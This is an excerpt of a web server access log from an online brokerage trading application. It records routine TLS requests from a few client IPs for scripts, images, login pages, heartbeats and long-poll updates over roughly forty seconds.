[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_global.js?jsv=20200819161914 HTTP/1.1" 1564
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cash_transfer.js?jsv=20200819161914 HTTP/1.1" 2712
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/account.js?jsv=20200819161914 HTTP/1.1" 2656
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/spread_cache.js?jsv=20200819161914 HTTP/1.1" 908
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/ipo.js?jsv=20200819161914 HTTP/1.1" 5726
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mm.js?jsv=20200819161914 HTTP/1.1" 487
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/isec_calculator.js?jsv=20200819161914 HTTP/1.1" 1364
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction.js?jsv=20200819161914 HTTP/1.1" 2178
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/eStatement.js?jsv=20200819161914 HTTP/1.1" 562
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/ExchangeList?fmt=js&jsv=20200819161914 HTTP/1.1" 146
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction_IMOS.js?jsv=20200819161914 HTTP/1.1" 6874
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mode-ecb.js?jsv=20200819161914 HTTP/1.1" 199
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes.js?jsv=20200819161914 HTTP/1.1" 4816
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pw_alert.js?jsv=20200819161914 HTTP/1.1" 418
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/utilSpec.js?jsv=20200819161914 HTTP/1.1" 27
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_lastlogin.js?jsv=20200819161914 HTTP/1.1" 980
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.mousewheel.js HTTP/1.1" 684
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.jscrollpane.js HTTP/1.1" 685
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.cookie.js HTTP/1.1" 834
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/decimal.js HTTP/1.1" 13492
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/css/jquery.jscrollpane.css HTTP/1.1" 690
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01.jpg HTTP/1.1" 3466
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/GoodTillDateValidExch?fmt=js&jsv=20200819161914 HTTP/1.1" 29
[09/Jan/2026:11:08:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928402126 HTTP/1.1" -
[09/Jan/2026:11:08:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928406451 HTTP/1.1" -
[09/Jan/2026:11:08:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:11:08:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu_logout.jpg HTTP/1.1" 1016
[09/Jan/2026:11:08:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg3.jpg HTTP/1.1" 878
[09/Jan/2026:11:08:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg1.jpg HTTP/1.1" 329
[09/Jan/2026:11:08:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg2.jpg HTTP/1.1" 330
[09/Jan/2026:11:08:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:08:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:08:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928421236 HTTP/1.1" -
[09/Jan/2026:11:08:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928407143 HTTP/1.1" -
[09/Jan/2026:11:09:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928411586 HTTP/1.1" -
[09/Jan/2026:11:09:00 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PopUpConfig HTTP/1.1" 89
[09/Jan/2026:11:09:00 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 15
[09/Jan/2026:11:09:00 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767928408368 HTTP/1.1" 3188
[09/Jan/2026:11:09:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928412159 HTTP/1.1" -
[09/Jan/2026:11:09:03 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928427229 HTTP/1.1" -
[09/Jan/2026:11:09:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928416778 HTTP/1.1" -
[09/Jan/2026:11:09:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928417205 HTTP/1.1" -
[09/Jan/2026:11:09:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928433234 HTTP/1.1" -
[09/Jan/2026:11:09:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928421901 HTTP/1.1" -
[09/Jan/2026:11:09:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928422244 HTTP/1.1" -
[09/Jan/2026:11:09:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:09:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:09:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:09:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928438297 HTTP/1.1" -
[09/Jan/2026:11:09:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:09:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928427117 HTTP/1.1" -
[09/Jan/2026:11:09:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928427273 HTTP/1.1" -
[09/Jan/2026:11:09:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:09:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:09:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:09:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:09:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:09:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:09:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928443323 HTTP/1.1" -
[09/Jan/2026:11:09:19 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/login.html HTTP/1.1" 1755
[09/Jan/2026:11:09:19 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfoLite HTTP/1.1" 131
[09/Jan/2026:11:09:19 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/tc/dialog.html HTTP/1.1" 3188
[09/Jan/2026:11:09:19 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:09:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:11:09:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/trade.html HTTP/1.1" 2113
[09/Jan/2026:11:09:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SpreadPriceCache HTTP/1.1" 1947
[09/Jan/2026:11:09:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01_o.jpg HTTP/1.1" 3339
[09/Jan/2026:11:09:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:09:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:09:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/GetLastLoginDate HTTP/1.1" 698
[09/Jan/2026:11:09:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:11:09:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:11:09:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:11:09:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:11:09:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:11:09:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:11:09:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:11:09:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:11:09:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:11:09:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:11:09:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-personalized-1.6rc2.min.js HTTP/1.1" 55543
[09/Jan/2026:11:09:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:11:09:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:11:09:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:11:09:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:11:09:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:11:09:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:11:09:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/version.js?jsv=20200819161914 HTTP/1.1" 85
[09/Jan/2026:11:09:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:11:09:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:11:09:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:11:09:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:11:09:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:11:09:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:11:09:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:11:09:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928432319 HTTP/1.1" -
[09/Jan/2026:11:09:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:11:09:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:11:09:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:11:09:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:11:09:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:11:09:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:11:09:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:11:09:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/bg_login.jpg HTTP/1.1" 29296
[09/Jan/2026:11:09:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767928428446 HTTP/1.1" 3188
[09/Jan/2026:11:09:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:11:09:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/favicon.ico HTTP/1.1" 682
[09/Jan/2026:11:09:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928432312 HTTP/1.1" -
[09/Jan/2026:11:09:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928449223 HTTP/1.1" -
[09/Jan/2026:11:09:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928437371 HTTP/1.1" -
[09/Jan/2026:11:09:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:09:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:09:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928437338 HTTP/1.1" -
[09/Jan/2026:11:09:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928442483 HTTP/1.1" -
